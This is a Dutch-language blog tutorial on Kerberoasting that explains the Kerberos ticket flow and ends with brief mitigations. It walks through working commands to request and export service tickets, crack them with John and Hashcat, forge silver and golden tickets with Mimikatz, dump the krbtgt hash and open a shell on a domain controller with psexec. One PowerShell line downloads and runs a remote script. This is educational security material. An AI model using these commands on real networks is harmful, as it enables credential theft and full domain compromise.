Kerberoasting
Zoals de titel misschien al doet vermoedde heeft deze post “iets” te maken met “Kerberos”. We kunnen erg veel vertellen over “Kerberos” en de zwakheden van dit protocol. Maar we trappen af met Kerberoasting. Feitelijk is “Kerberoasting” misbruik maken van Kerberos eigenschappen zodat een “normale” domainuser password-hashes kan verzamelen van AD gebruikersaccounts met de “servicePrincipalName” (SPN) value ofwel, van service accounts. Kerberoasting is een interessante attack vector en wij gaan hier samen eens induiken. Let’s go!
Om de “Kerberoasting” aanval beter te begrijpen is het noodzakelijk om eerst meer te vertellen over de Kerberos implementatie.
Voordat Kerberos gebruikt werdt voor authenticatie gebruikte Microsoft het NTLM (NT Lan Manger) protocol. Dit is een “challenge-response” protocol. Bij dit protocol “controleerd” de doelcomputer (server) het wachtwoord en slaat de hashes op voor later gebruik. Encryptie werd niet toegepast en NTLM is een verouderd protocol welke nu vervangen is voor Kerberos.
Het Kerberos protocol heeft zin naam ontleent aan Kerberos, de driekoppige hellehond (Griekse Mythen). En deze ontlening is ook wel logisch. “De 3 hoofden” representeren de 3 belangrijkste rollen binnen Kerberos. Namelijk “de client”, “de service” en een vertrouwde derde partij de KDC ofwel het “Key Distribution Center”. De belangrijkste eigenschappen van het Kerberos protocol zijn:
- Wederzijdse authenticatie (tussen client en server)
- Minimale belasting
- Wachtwoorden worden nooit uitgewisseld
- Replay is onmogelijk
Kerberos is ontwikkels door het MIT voor de beveiliging van “Project Athena”.
Kerberos zorgt voor een beperkte vorm van “Single Sign-On” doordat het ervoor zorgt dat gebruikers zit kunnen aanmelden (en hun identiteit kunnen bewijzen) bij een dienst of service en dit niet steeds opnieuw moeten doen. Dit doet Kerberos door de gebruiker te voorzien van een “ticket”. Dit ticket blijft een volledige sessie geldig en vervalt wanneer de sessie verbroken wordt. Het ticket dat de aangemelde identiteit krijg heet een “Ticket Granting Ticket” ofwel een TGT. Dit ticket wordt uitgegeven door de KDC en wordt ondertekend door het “krbtgt” account. Dit account is altijd hetzelfde en is een lokaal standaardaccount welke fungeert als een serviceaccount voor de Key Distribution Center-service (KDC). Het krbtgt account wordt automatisch aangemaakt wanneer er een nieuw domein wordt gemaakt. Het account kan niet worden verwijderd, de naam kan niet worden aangepast, het kan ook niet enabled worden en het is altijd lid van de groepen “Domain Users” en “Denied RODC Password Replication Group”.
Om alle details van het account te verkrijgen kun je het volgende Powershell commando gebruiken:
Get-AdUser krbtgt -property created, passwordlastset, enabled, sid, distinguishedname |
Het account en wachtwoord worden gemaakt wanneer een domein wordt aangemaakt en het wachtwoord wordt doorgaans niet gewijzigd (m.u.v. een functional domain-level upgrade). Als het krbtgt-account gecompromitteerd is, kunnen aanvallers geldige Kerberos Ticket Granting Tickets (TGT) maken. Het wachtwoord moet twee keer worden gewijzigd om de wachtwoordgeschiedenis effectief te verwijderen.
Met een geldig TGT kan een gebruiker zichzelf authentiseren bij Kerberos services in het netwerk. De TGT bevat de sessiesleutel, de vervaldatum en het IP-adres van de gebruiker. Dit laatste beschermt de gebruiker tegen man-in-the-middle-aanvallen. De TGT wordt weer gebruikt om een serviceticket te verkrijgen (Ticket Granting Service (TGS)) om zich zodoende aan te kunnen melden bij diverse services binnen het domein.
Het TGS ticket is versleuteld met de NTLM hash van het service account waar de toegang voor aangevraagd wordt. Windows gebruikt SPN’s (Service Principal Names) om het service account te identificeren dat gebruikt wordt om het TGS te versleutelen.
Het volledige authenticatieproces binnen Kerberos gaat als volgt:
1. De client zend een request naar de authentication server (AS) met de vraag of deze een server/dienst mag benaderen uit naam van de user. De user in deze aanvraag wordt verzonden in plain-tekst. Een gedeelte van deze aanvraag is versleuteld met een secret key (wachtwoord van de gebruiker).
2. De AS zal proberen bovenstaande request te decoderen met de secret key (gebruikerswachtwoord). Als dat lukt is de authenticatie geslaagd. Daarna controleerd de AS of de gebruiker recht heeft op toegang tot de server/dienst. Als de gebruikersauthenticatie geslaagd is en de toegang mag verleend worden dan stuurt de authentication server (AS) een TGT ticket retour welke versleuteld is met een andere secret key welke gedeeld wordt tussen de AS en de Ticket Granting Server (TGS).
3. Nu stuurt de client een versleutelde TGT naar de Ticket Granting Server en vraagt voor toegang tot een bepaalde dienst / service op het netwerk.
4. De TGS decrypt nu het ticket met de shared key welke deze ontvangen heeft van de AS en geeft nu een Kerberos token uit aan de client welke weer versleuteld is met een andere shared key welke de TGS deelt met betreffende server / dienst.
5. Nu stuurt de client het Kerberos token naar de server / dienst.
6. Wanneer de server / dienst een valide token ontvangt en kan decrypten met de shared key welke deze heeft ontvangen van de TGS dan verkrijgt de client voor een beperkte periode toegang tot deze dienst.
Het volledige authenticatieproces bestaat dus uit verschillende tickets welke versleuteld zijn middels shared keys. Alleereerst een authenticatieaanvraag, dan een TGT ticket van de TGS en vervolgens geeft de TGS een Kerberos token uit welke de gebruiker moet “inleveren” bij de dienst waar deze toegang toe wilt hebben.
Een gebruiker mag dus voor elke dienst een ticket aanvragen bij de TGS en dat mag deze doen met elke geregistreerde SPN. Wanneer de TGS is gemaakt, controleert de domeincontroller niet of de verzoekende gebruiker geautoriseerd is om toegang te krijgen tot de dienst. TGS tickets zijn RC4 tickets versleuteld met de NTLM hash van de SPN.
Bij Kerberoasting worden TGS-tickets uit het geheugen gehaald of afgeluisterd van het netwerk. Zodoende kan de wachtwoordhash van het serviceaccount verkregen worden. Vervolgens kan deze hash gekraakt worden of gebruikt worden in een “pass-the-hash” aanval. Wanneer het wachtwoord gekraakt wordt dan heeft de gebruiker toegang tot alle diensten waar het service account (meestal een hoger account) toegang toe heeft.
Belangrijk om te weten is dat er 2 soorten SPN’s bestaan (1e ticket), namelijk Host-Based SPN’s (linked aan een computer account) en “normale” SPN’s welke gelinkt zijn aan een domein gebruikersaccounts.
Bij Kerberoasting kunnen we geen Host-based SPN’s gebruiken omdat een computeraccount in Active Directory een willekeurig gegenereerd wachtwoord van 128 tekens lang heeft dat elke 30 dagen wordt gewijzigd. Deze hashes zijn dus veel moeilijker om te kraken.
Dus in de basis is “Kerberoasting” het opvragen van de NTLM hash van een service account.
Kerberoasting Voorbeeld
Er bestaande verschillende tools om Kerberoasting uit te voeren” zoals Mimikatz. We kunnen zelfs de build-in “SetSPN.exe” functie van Windows gebruiken. PowerShell Empire heeft een “Invoke-Kerberoast” functie maar in dit voorbeeld gaan we de “Kerberoast” tool van “Nidem” gebruiken: https://github.com/nidem/kerberoast.
Laten we deze tool installeren:
git clone https://github.com/nidem/kerberoast |
Deze tool is special voor het kraken van de verkregen tickets. Eerst moeten we de tickets verkrijgen. Dit kunnen we doen als een “normale” domein gebruiker. Door de tickets op te vragen plaatsen we deze op onze computer. Dit kunnen we doen d.m.v. Mimikatz:
mimikatz kerberos::list |
Of d.m.v. Powershell:
Add-Type -AssemblyName System.IdentityModel setspn.exe -T JBaselier.nl -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } |
Bovenstaande commando’s dumpen alle tickets (setspn.exe) van beschikbare SPN’s (ook host-based SPN’s). Omdat dit meestal erg veel resultaten geeft kunnen we gebruik maken van GetUsersSPNs.ps1 script welke bijgesloten zit in bovenstaande GitHub repository. Laten we dit script zelf hosten of direct opvragen v.a. GitHub en vervolgens ophalen en toepassen:
Add-Type -AssemblyName System.IdentityModel IEX (New-Object Net.WebClient).DownloadString("http://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}} |
Om een enkele ticket (gericht) te verkrijgen kun je ook het volgende commando gebruiken. In dit voorbeeld dumpen we het ticket van de webserver:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.jbaselier.nl" |
Om de gecachte tickets in te kunnen zien kunnen we gebruik maken van een makkelijk PowerShell commando, namelijk:
klist |
Wanneer we niet geen commando’s op een domaincomputer kunnen uitvoeren kunnen we ook ImPacket (GetUserSPNs.py) gebruiken om Kerberos tickets te verkrijgen. Dit doen we als volgt (er vanuit gaande dat ImPacket al geïnstalleerd is:
python3 GetUserSPNs.py -dc-ip 192.168.178.100 JBaselier.nl/regular # OF als het IP adres in je hosts file staat: python3 GetUserSPNs.py -requerst JBaselier.nl/regular |
Bovenstaande commando toont welke user SPN’s op de domain controller aanwezig zijn. Maar om de tickets te “gebruiken” moeten we deze exporteren. Hiervoor kunnen we MimiKatz gebruiken (zoals hierboven als beschreven met de “export” flag) maar we kunnen ook Powershell Empire, MetaSploit (Invoke-AutoKerberoast) gebruiken. De makkelijkste methode is via Mimikatz:
mimikatz privilege::debug kerberos::list /export |
Na het exporteren vinden we de tickets terug in “kirbi” bestanden:
Deze bestanden moeten vervolgens nog omgezet worden naar een formaat welke we kunnen gebruiken om te kraken. Ook hiervoor kennen we verschillende methodes. We kunnen het “tgsrepcrack.py” script gebruiken welke eveneens in onze package aanwezig is:
python3 tgsrepcrack.py /home/jarno/Desktop/rockme.txt /home/jarno/Desktop/sqluser.kirbi |
Maar we kunnen ook Hashcat of John gebruiken. Laten we het “Kirbi” bestand omzetten naar een leesbaar bestand voor John The Ripper. Hiervoor gebruiken we “kirbi2john.py”:
python /usr/share/john/kirbi2john.py sqluser.kirbi > sqluser.hash |
En nu kunnen we John gebruiken om het wachtwoord te achterhalen:
john --wordlist=/home/jarno/Desktop/rockme.txt /home/jarno/Desktop/sqluser.hash |
Of met Hashcat:
hashcat -m 13100 -a 0 -O /home/jarno/Desktop/sqluser.hash /home/jarno/Desktop/rockme.txt |
Wanneer het wachtwoord gevonden is dan kun je het service account gebruiken om je privileges te escaleren. Je kunt echter ook een nieuwe ticket aanmaken en deze versleutelen met de secret key van het service account. Op die manier “lijkt” de request afkomstig van de “service” in plaats van de user. Stel je voor dat je jezelf voor wilt doen als de admin gebruiker. Dan herschrijf je het ticket als volgt:
python3 kerberoast.py -p DitIsEenWachtw00rd -r sqluser.kirbi -w sqluserticket.kirbi -u 500 |
Silver Ticket
Wat we hiervoor gedaan hebben is het maken van een zogenaamd “silver ticket”. Het voordeel van zo’n “silver ticket” is dat deze niet meer gecontroleerd wordt door de domain controller. Het ticket is namelijk versleuteld met de secret key van het service account.
En om vervolgens het nieuwe ticket terug te lezen kunnen we weer MimiKatz gebruiken:
mimikatz.exe privilege::debug kerberos::ptt sqluserticket.kirbi |
We kunnen ook dynamisch met MimiKatz een silver ticket maken. Hiervoor hebben we alleen de NTLM hash nodig van een serviceaccount. Wanneer we deze kunnen achterhalen met b.v. onderstaande commando kunnen we meteen een nieuw ticket maken en injecteren in het geheugen:
mimikatz.exe privilege::debug sekurlsa::logonpasswords |
Om een silver ticket met Mimikatz te maken moeten we eerst de domain SID achterhalen. De structuur van de SID begint met de letter “S” en ziet er ongeveer als volgt uit “S-1-5-21-2536614405-3629634762-1218571035-1116”. Na de letter S volgt het revisienummer
(meestal ingesteld op “1”), en daarna gevolgd door een identifier-autoriteitswaarde (vaak “5” binnen AD). Daarna volgen de “subautoriteit waarden”. Binnen AD begint een SID dus meestal met “S-1-5”. De sub autoriteit bestaat uit 2 verschillende waardes. In dit geval “2536614405-3629634762-1218571035”. Het laatste gedeelte van de SID is de “Relative Identifier” ofwel de RID. In dit voorbeeld “1116”. De volledige SID is het gedeelte zonder de RID. In dit voorbeeld dus “S-1-5-21-2536614405-3629634762-1218571035”.
Om de SID te achterhalen gebruik je als domeingebruiker het commando:
whoami /user |
Als we beschikken over de NTLM hash en over de domain SID dan kunnen we het ticket maken. Verder hebben we nodig:
- /user = Gebruikersnaam (geldige of ongeldige AD user)
- /sid = Domain SID
- /domain = Domeinnaam
- /target = FQDN van de service
- /rc4 = NTLM hash van het service account
- /ppt = Direct injecteren in het geheugen
Dus:
kerberos::purge kerberos::golden /user:regular /domain:JBaselier.nl /sid:S-1-5-21-1602875587-2787523311-2599479668 /target:S01.jbaselier.nl /service:SQL /rc4:B3B475C11DA2A0748210D87AA966B221 /ptt |
Zoals je ziet voeren we voordat we het silver ticket maken een “purge” uit om alle aanwezig tickets uit het geheugen te halen om conflicten (dubbelingen) te voorkomen. Nadat het nieuwe ticket is gemaakt en ingeladen zal vanuit het perspectief van de SQL-server de huidige gebruiker lid zijn van dezelfde groepen als de gebruiker die we impersoneren (b.v. de administator of het service account). Dit betekend effectief dat we als “gewone” gebruiker interactie kunnen hebben met de SQL service alsof we een andere user zijn. Dit kan leiden tot code execution, privilege escalation en toegang tot gevoelige informatie.
Golden Ticket
Zoals je ziet gebruikten we voor de generatie van het “silver ticket” het commando “kerberos::golden”. Er bestaat namelijk ook nog zoiets als het “Golden Ticket”. Dit ticket kun je zien als het master ticket. Wanneer je namelijk de password hash van het “krbtgt” account kunt bemachtigen… het account dat verantwoordelijk is voor het “signen” van de TGT tickets dan kunnen we onze eigen custom TGT’s maken. Deze custom TGT’s noemen we “golden tickets” omdat we feitelijk hiermee onszelf kunnen voordoen als iedere willekeurige user bij iedere willekeurige dienst/service. We krijgen hiermee dus ongelimiteerde toegang tot het domein. Daarnaast is deze toegang ook “persistent” omdat, zoals eerder gezegd dit wachtwoord niet veranderd.
Laten we eens de hash van het krbtgt account achterhalen met MimiKatz:
mimikatz privilege::debug lsadump::lsa /patch |
Er is geen elevated credentials nodig om een golden ticket te maken en te injecteren in het geheugen. Nu we bovenstaande NTLM hash hebben verkregen hebben we de volgende zaken nodig om een golden ticket te maken:
- /user = Gebruikersnaam (geldige of ongeldige AD user)
- /sid = Domain SID
- /domain = Domeinnaam
- /krbtgt = NTLM hash van het krbtgt account
- /ppt = Direct injecteren in het geheugen
Dus:
kerberos::purge kerberos::golden /user:regular /domain:JBaselier.nl /sid:S-1-5-21-1602875587-2787523311-2599479668 /krbtgt:7b60daa463e458841e3bb397da127789 /ptt |
Mimikatz zorgt bij het uitvoeren van bovenstaande commando dat de standaardwaarde van het gebruiker-ID ingesteld wordt op 500 (RID van build-in Administrator). De groeps-ID’s worden vervolgens ingesteld op de waarden van de groeps-ID’s van de meest geprivilegieerde
groepen binnen Active Directory, inclusief de groep Domain Admins.
Wanneer bovenstaande golden ticket in het geheugen zit van een werkstation (als gewone gebruiker) kun je b.v. een elevated CMD sessie openen naar de domaincontroller waar je alle rechten hebt. B.v. met PSExec:
psexec.exe \\s01 cmd.exe |
Conclusie
Zoals je in de voorbeelden ziet is Kerberoasting een gevaarlijke attack-vector op het Kerberos verkeer. In het ergste geval met volledige domain-toegang als gevolg. De belangrijkste mitigatie tegen Kerberoasting is eigenlijk al ontzettend oud. Gebruik goede wachtwoorden zodat het kraken van hashes niet mogelijk is en hou een goede inventarisatie bij van alle gebruikersaccounts zodat hier het juiste beheer op gevoerd wordt en account niet “beheerloos” actief blijven. Zorg er daarnaast voor dat zo min mogelijk gebruikers (en zeker geen service accounts) inlogmogelijkheden hebben op de domain controllers. Ook is het zinvol om periodiek het wachtwoord van het “krbtgt” account te veranderen. Daarnaast zijn security toepassingen die b.v. het gebruik van MimiKatz tegengaan altijd een welkome aanvulling.
Hopelijk vonden jullie deze post interessant en heb ik iets meer duidelijkheid kunnen geven aangaande het begrip “Kerberoasting”. Op naar een nieuwe post of vlog…. Ik zie jullie graag daar!
★ Interessant? Geef deze post een dikke “like” of deel hem op je eigen kanaal / social media. Alle beetjes helpen me! Ik zie je graag terug hier op de website, bij een YouTube video of in een Twitch stream. ★